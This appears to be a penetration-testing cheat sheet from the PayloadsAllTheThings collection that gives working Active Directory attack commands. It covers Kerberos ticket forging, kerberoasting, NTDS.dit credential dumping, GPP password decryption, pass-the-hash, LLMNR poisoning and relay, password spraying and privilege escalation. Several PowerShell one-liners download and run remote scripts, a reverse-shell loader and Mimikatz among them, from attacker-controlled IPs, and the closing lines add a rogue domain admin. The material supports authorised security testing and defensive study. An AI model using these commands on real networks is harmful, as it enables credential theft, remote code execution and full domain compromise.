PayloadsAllTheThings/Methodology and Resources/Active Directory Attack.md

# Active Directory Attacks

## Summary

* [Tools](#tools)
* [Most common paths to AD compromise](#most-common-paths-to-ad-compromise)
  * [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability)
  * [Open Shares](#open-shares)
  * [GPO - Pivoting with Local Admin & Passwords in SYSVOL](#gpo---pivoting-with-local-admin--passwords-in-sysvol)
  * [Dumping AD Domain Credentials](#dumping-ad-domain-credentials-systemrootntdsntdsdit)
  * [Password in AD User comment](#password-in-ad-user-comment)
  * [Golden Tickets](#passtheticket-golden-tickets)
  * [Silver Tickets](#passtheticket-silver-tickets)
  * [Trust Tickets](#trust-tickets)
  * [Kerberoast](#kerberoast)
  * [KRB_AS_REP roasting](#krb_as_rep-roasting)
  * [Pass-the-Hash](#pass-the-hash)
  * [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
  * [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes)
  * [NTLMv2 hashes relaying](#ntlmv2-hashes-relaying)
  * [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
  * [Trust relationship between domains](#trust-relationship-between-domains)
  * [PrivExchange attack](#privexchange-attack)
  * [Password spraying](#password-spraying)
* [Privilege Escalation](#privilege-escalation)
  * [PrivEsc Local Admin - Token Impersonation (RottenPotato)](#privesc-local-admin---token-impersonation-rottenpotato)
  * [PrivEsc Local Admin - MS16-032](#privesc-local-admin---ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
  * [PrivEsc Local Admin - MS17-010 (Eternal Blue)](#privesc-local-admin---ms17-010-eternal-blue)
  * [From Local Admin to Domain Admin](#from-local-admin-to-domain-admin)

## Tools

* [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows)
* [Responder](https://github.com/SpiderLabs/Responder)
* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
* [Ranger](https://github.com/funkandwagnalls/ranger)
* [BloodHound](https://github.com/BloodHoundAD/BloodHound)

  ```powershell
  apt install bloodhound #kali
  neo4j console
  Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
  ./bloodhound
  SharpHound.exe (from resources/Ingestor)
  SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100
  or 
  Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
  or 
  bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
  ```

* [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)

  ```bash
  git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
  crackmapexec smb -L
  crackmapexec smb -M name_module -o VAR=DATA
  crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares
  crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
  crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
  crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
  crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
  crackmapexec mimikatz --server http --server-port 80
  ```

* [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)

  ```powershell
  powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks"
  powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"
  ```

* [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script)

    ```powershell
    powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 
    ```

* [Ping Castle](https://github.com/vletoux/pingcastle)

    ```powershell
    pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
    ```

* [Kerbrute](https://github.com/ropnop/kerbrute)

    ```powershell
    ./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
    ```

## Most common paths to AD compromise

### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

```bash
Exploit Python: https://www.exploit-db.com/exploits/35474/
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum

git clone https://github.com/bidord/pykek
python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
```

### Open Shares

```powershell
smbmap -H 10.10.10.100    # null session
smbmap -H 10.10.10.100 -R # recursive listing
smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
```

or 

```powershell
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
ls  # list files
cd  # move inside a folder
get # download files
put # replace a file
```

or 

```powershell
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk      
        SYSVOL          Disk      Logon server share
        Users           Disk
use Sharename # select a Sharename
cd Folder     # move inside a folder
ls            # list files
```

Mount a share

```powershell
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
```

### GPO - Pivoting with Local Admin & Passwords in SYSVOL

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

Find password in SYSVOL (MS14-025)

```powershell
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)

```bash
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: 
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```

Metasploit modules to enumerate shares and credentials

```c
scanner/smb/smb_enumshares
post/windows/gather/enum_shares
post/windows/gather/credentials/gpp
```

Crackmapexec modules

```powershell
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
```

List all GPO for a domain

```powershell
Get-GPO -domaine DOMAIN.COM -all
Get-GPOReport -all -reporttype xml --all

Powersploit:
Get-NetGPO
Get-NetGPOGroup
```

### Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)

#### Using ndtsutil

```powershell
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
```

or 

```powershell
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
```

#### Using Vshadow

```powershell
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
```

You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)

```powershell
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
```

#### Using vssadmin

```powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
```

#### Using DiskShadow (a Windows signed binary)

```powershell
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
```

#### Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes

```java
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```

secretsdump also works remotely

```java
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
```

#### Alternatives - modules

Metasploit modules

```c
windows/gather/credentials/domain_hashdump
```

PowerSploit module

```powershell
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
```

CrackMapExec module

```powershell
cme smb 10.10.0.202 -u username -p password --ntds vss
```

### Password in AD User comment

```powershell
enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas: 
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
```

### PassTheTicket Golden Tickets

Forging a TGT require the krbtgt key

Mimikatz version

```powershell
Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt

Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```

Meterpreter version

```powershell
Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```

Using a ticket on Linux

```powershell
Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519


export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME


NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
```

### PassTheTicket Silver Tickets

Forging a TGS require machine accound password (key) from the KDC

```powershell
Create a ticket for the service
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
/kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt

Then use the same steps as a Golden ticket
misc::convert ccache ticket.kirbi
export KRB5CCNAME=/home/user/ticket.ccache
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
```

### Trust Tickets

TODO

### Kerberoast

> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)

Any valid domain user can request a kerberos ticket for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

```powershell
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
--------------------  -------------  --------------------------------------------------------  -------------------  -------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11 

$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2
```

Then crack the ticket with hashcat or john

```powershell
hashcat -m 13100 -a 0 hash.txt crackstation.txt
./john ~/hash.txt --wordlist=rockyou.lst
```

### KRB_AS_REP Roasting

If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

```powershell
C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4


[*] Action: AS-REP roasting

[*] Target User            : TestOU3user
[*] Target Domain          : testlab.local

[*] SamAccountName         : TestOU3user
[*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

    $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
```

### Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.

```powershell
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r  
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell

or with crackmapexec
cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ... 

or with psexec
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d

or with the builtin Windows RDP and mimikatz
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
```

### OverPass-the-Hash (pass the key)

Request a TGT with only the NT hash

```powershell
Using impacket
./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
chmod 600 tgwynn.ccache

also with the AES Key if you have it
./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com


ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
klist
```

### Capturing and cracking NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.

```python
python Responder.py -I eth0
```

Then crack the hash with `hashcat`

```powershell
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```

### NTLMv2 hashes relaying

If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine.

1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.
2. Run `python  RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
3. Run `python Responder.py -I <interface_card>` and `python MultiRelay.py -t <target_machine_IP> -u ALL`
4. Wait for a shell

### Dangerous Built-in Groups Usage

AdminSDHolder

```powershell
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()
```

### Trust relationship between domains

```powershell
nltest /trusted_domains
```

or

```powershell
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                  TreeRoot       Bidirectional
```

### PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.
You need a shell on a user account with a mailbox.

1. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server.
    ```bash
    # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
    python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
    
    # https://github.com/G0ldenGunSec/PowerPriv 
    powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
    ```

2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
3. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
    ```bash
    python secretsdump.py xxxxxxxxxx -just-dc
    ```

Alternatively you can use the Metasploit module 

[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)

### Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.

```powershell
root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
```


## Privilege Escalation

### PrivEsc Local Admin - Token Impersonation (RottenPotato)

Binary available at : https://github.com/foxglovesec/RottenPotato
Binary available at : https://github.com/breenmachine/RottenPotatoNG

```c
getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"
```

```powershell
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
```

### PrivEsc Local Admin - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)

Check if the patch is installed : `wmic qfe list | find "3139914"`

```powershell
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

Binary exe : https://github.com/Meatballs1/ms16-032

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

### PrivEsc Local Admin - MS17-010 (Eternal Blue)

```c
nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17–010 <ip_netblock>
```

### From Local Admin to Domain Admin

```powershell
net user hacker2 hacker123 /add /Domain
net group "Domain Admins" hacker2 /add /domain
```

## References

* [https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html](https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html)
* [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/)
* [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
* [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
* [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)
* [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/)
* [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/)
* [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/)
* [Pen Testing Active Directory Environments - Part III:  Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/)
* [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/)
* [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/)
* [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/)
* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/)
* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
* [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/)
* [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf)
* [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/)
* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)
* [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/)
* [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/)
* [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf)
* [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
* [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/)
* [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/)
* [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin)
* [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html)